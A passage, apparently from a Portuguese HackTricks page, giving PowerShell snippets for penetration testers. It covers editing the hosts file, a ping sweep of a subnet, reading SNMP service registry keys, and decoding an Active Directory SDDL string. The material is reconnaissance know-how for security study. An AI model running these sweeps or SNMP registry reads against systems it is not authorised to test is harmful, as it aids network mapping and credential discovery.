  • Remover uma entrada do arquivo de hosts:
(Get-Content C:\Windows\System32\drivers\etc\hosts) | Where-Object { $_ -notmatch "exemplo.com" } | Set-Content C:\Windows\System32\drivers\etc\hosts

Lembre-se de executar o PowerShell como administrador para poder modificar o arquivo de hosts.

Get-Content C:\WINDOWS\System32\drivers\etc\hosts

Ping

O comando ping é uma ferramenta comumente usada para testar a conectividade de rede entre um host local e um host remoto. Ele envia pacotes de dados para o host remoto e aguarda por uma resposta. O tempo que leva para receber uma resposta é conhecido como latência. O comando ping é amplamente utilizado por pentesters para verificar a disponibilidade de um host e identificar possíveis problemas de rede.

Sintaxe

ping <host>

Exemplo

ping www.example.com

Neste exemplo, o comando ping é usado para testar a conectividade com o host www.example.com. O resultado mostrará o tempo de resposta e a taxa de perda de pacotes, se houver.

O comando ping é uma ferramenta simples, mas útil, que pode fornecer informações valiosas durante um teste de penetração.

$ping = New-Object System.Net.Networkinformation.Ping
1..254 | % { $ping.send("10.9.15.$_") | select address, status }

SNMP

O Simple Network Management Protocol (SNMP) é um protocolo amplamente utilizado para gerenciamento de redes. Ele permite que os dispositivos de rede sejam monitorados e controlados de forma centralizada. O SNMP opera em uma arquitetura cliente-servidor, onde os dispositivos de rede são os agentes SNMP e o sistema de gerenciamento de rede é o gerente SNMP.

O SNMP usa mensagens para trocar informações entre os agentes SNMP e o gerente SNMP. Essas mensagens são chamadas de Protocol Data Units (PDUs). Existem diferentes tipos de PDUs, como GetRequest, GetNextRequest, SetRequest, entre outros, que são usados para solicitar informações dos agentes SNMP ou para configurar os agentes SNMP.

Os agentes SNMP mantêm uma estrutura de dados chamada Management Information Base (MIB), que contém informações sobre o dispositivo de rede, como status, configurações e estatísticas. O gerente SNMP pode consultar a MIB dos agentes SNMP para obter informações sobre o dispositivo de rede.

Os pentesters podem usar o SNMP para obter informações valiosas sobre a rede alvo, como topologia da rede, dispositivos conectados, configurações de segurança e muito mais. Eles também podem explorar vulnerabilidades no SNMP para obter acesso não autorizado aos dispositivos de rede ou para realizar ataques de negação de serviço.

É importante ressaltar que o uso do SNMP em um ambiente de produção deve ser feito com cuidado, pois configurações inadequadas podem levar a vazamentos de informações sensíveis ou a comprometimento da segurança da rede. Portanto, é recomendável que os administradores de rede implementem medidas de segurança adequadas, como autenticação e criptografia, para proteger o SNMP contra ataques.

Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse

Convertendo a String SDDL em um Formato Legível

Ao realizar testes de penetração em sistemas Windows, é comum encontrar permissões definidas em formato SDDL (Security Descriptor Definition Language). Essas permissões podem ser difíceis de entender e analisar diretamente. Felizmente, o PowerShell fornece uma maneira fácil de converter a string SDDL em um formato legível.

Para converter a string SDDL em um formato legível, você pode usar o cmdlet ConvertFrom-SddlString. Este cmdlet converte a string SDDL em um objeto de segurança do PowerShell, que pode ser facilmente manipulado e analisado.

Aqui está um exemplo de como usar o cmdlet ConvertFrom-SddlString:

$sddlString = "O:BAG:BAD:(A;;0x1;;;S-1-5-32-544)(A;;0x1;;;S-1-5-18)"
$securityDescriptor = ConvertFrom-SddlString -Sddl $sddlString
$securityDescriptor

Neste exemplo, a variável $sddlString contém a string SDDL que desejamos converter. Em seguida, usamos o cmdlet ConvertFrom-SddlString para converter a string em um objeto de segurança do PowerShell. Por fim, exibimos o objeto de segurança resultante.

Ao executar o código acima, você verá o objeto de segurança convertido, que mostra as permissões em um formato mais legível.

A conversão da string SDDL em um formato legível pode ser útil ao analisar as permissões de um sistema Windows durante um teste de penetração. Isso permite que você compreenda melhor as permissões concedidas a diferentes usuários e grupos, facilitando a identificação de possíveis vulnerabilidades de segurança.


PS C:\> ConvertFrom-SddlString "O:BAG:BAD:AI(D;;DC;;;WD)(OA;CI;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CR;00299570-246d-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;3e0f7e18-2c7a-4c10-ba82-4d926db99a3e;;S-1-5-21-3842939050-3880317879-2865463114-522)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-498)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;DD)(OA;CI;CR;89e95b76-444d-4c62-991a-0facbeda640c;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CC;4828cc14-1437-45bc-9b07-ad6f015e5f28;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a86-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a9c-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aa5-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aba-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;5cb41ed0-0e4c-11d0-a286-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;RP;4c164200-20c0-11d0-a768-00aa006e0529;;S-1-5-21-3842939050-3880317879-2865463114-5181)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;9a7ad945-ca53-11d1-bbd0-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967991-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a0a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;9a9a021e-4a5b-11d1-a9c3-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;0296c120-40da-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;934de926-b09e-11d2-aa06-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5e353847-f36c-48be-a7f7-49685402503c;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;8d3bca50-1d7e-11d0-a081-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;e48d0154-bcf8-11d1-8702-00c04fb96050;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;275b2f54-982d-4dcd-b0ad-e53501445efb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5fd42471-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5430e777-c3ea-4024-902e-dde192204669;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;6f606079-3a82-4c1b-8efb-dcc8c91d26fe;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a7a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;bf967a7f-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;614aea82-abc6-4dd0-a148-d67a59c72816;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;66437984-c3c5-498f-b269-987819ef484b;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;77b5b886-944a-11d1-aebd-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;2cc06e9d-6f7e-426a-8825-0215de176e11;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;3263e3b8-fd6b-4c60-87f2-34bdaa9d69eb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf9679c0-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e0abfd0-126a-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;7cb4c7d3-8787-42b0-b438-3c5d479ad31e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-526)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-527)(OA;CI;DTWD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;DTWD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CCDCLCRPWPLO;f0f8ffac-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;CCDCLCRPWPLO;e8b2aff2-59a7-4eac-9a70-819adef701dd;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aa5-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;5cb41ed0-0e4c-11d0-a286-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;WD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;CO)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a86-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a9c-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967aba-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;WP;ea1b7b93-5e48-46d5-bc6c-4df4fda78a35;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;c975c901-6cea-4b6f-8319-d67f45449506;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;f0f8ffac-1191-11d0-a060-00aa006c33ed;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CINPIO;RPWPLOSD;;e8b2aff2-59a7-4eac-9a70-819adef701dd;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;BA)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;e2a36dc9-ae17-47c3-b58b-be34c55ba633;;S-1-5-32-557)(OA;CIIO;LCRPLORC;;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIO;LCRPLORC;;bf967a9c-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIO;LCRPLORC;;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;;CR;05c74c5e-4deb-43b4-bd9f-86664c2a7fd5;;AU)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;ED)(OA;;CR;ccc2dc7d-a6ad-4a7a-8846-c04e3cc53501;;AU)(OA;;CR;280f369c-67c7-438e-ae98-1d46f3c6f541;;AU)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;NS)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;AU)(OA;CI;RPWP;3f78c3e5-f79a-46bd-a0b8-9d18116ddc79;;PS)(OA;CIIO;RPWPCR;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;PS)(A;;CCLCSWRPWPLOCRRCWDWO;;;DA)(A;CI;LCSWRPWPRC;;;S-1-5-21-3842939050-3880317879-2865463114-5213)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5172)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5187)(A;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3842939050-3880317879-2865463114-519)(A;;RPRC;;;RU)(A;CI;LC;;;RU)(A;CI;CCLCSWRPWPLOCRSDRCWDWO;;;BA)(A;;RP;;;WD)(A;;LCRPLORC;;;ED)(A;;LCRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;CI;LCRPWPRC;;;AN)S:(OU;CISA;WP;f30e3bbe-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(OU;CISA;WP;f30e3bbf-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(AU;SA;CR;;;DU)(AU;SA;CR;;;BA)(AU;SA;WPWDWO;;;WD)"
Proprietário: BUILTIN\Administrators
Grupo: BUILTIN\Administrators
DiscretionaryAcl: {Everyone: AccessDenied (WriteData), Everyone: AccessAllowed (WriteExtendedAttributes), NT AUTHORITY\ANONYMOUS LOGON: AccessAllowed (CreateDirectories, GenericExecute, ReadPermissions, Traverse, WriteExtendedAttributes), NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS: AccessAllowed (CreateDirectories, GenericExecute, GenericRead, ReadAttributes, ReadPermissions, WriteExtendedAttributes)...}
SystemAcl: {Everyone: SystemAudit SuccessfulAccess (ChangePermissions, TakeOwnership, Traverse), BUILTIN\Administrators: SystemAudit SuccessfulAccess (WriteAttributes), DOMAIN_NAME\Domain Users: SystemAudit SuccessfulAccess (WriteAttributes), Everyone: SystemAudit SuccessfulAccess (Traverse)...}
RawDescriptor: System.Security.AccessControl.CommonSecurityDescriptor
<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong> HackTricks Cloud </strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙 Twitch 🎙</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>